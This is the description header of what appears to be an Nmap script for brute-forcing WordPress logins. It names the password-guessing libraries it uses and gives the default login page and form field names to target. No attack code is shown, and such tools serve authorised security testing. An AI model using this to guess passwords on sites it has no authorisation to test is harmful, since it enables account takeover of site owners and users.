description = [[
Performs a brute force password attack against Wordpress installations.
This script uses the unpwdb and brute libraries to perform password guessing. Any successful guesses are
stored using the credentials library.
Wordpress default uri and form names:
* Default uri:wp-login.php
* Default uservar: log
* Default passvar: pwd
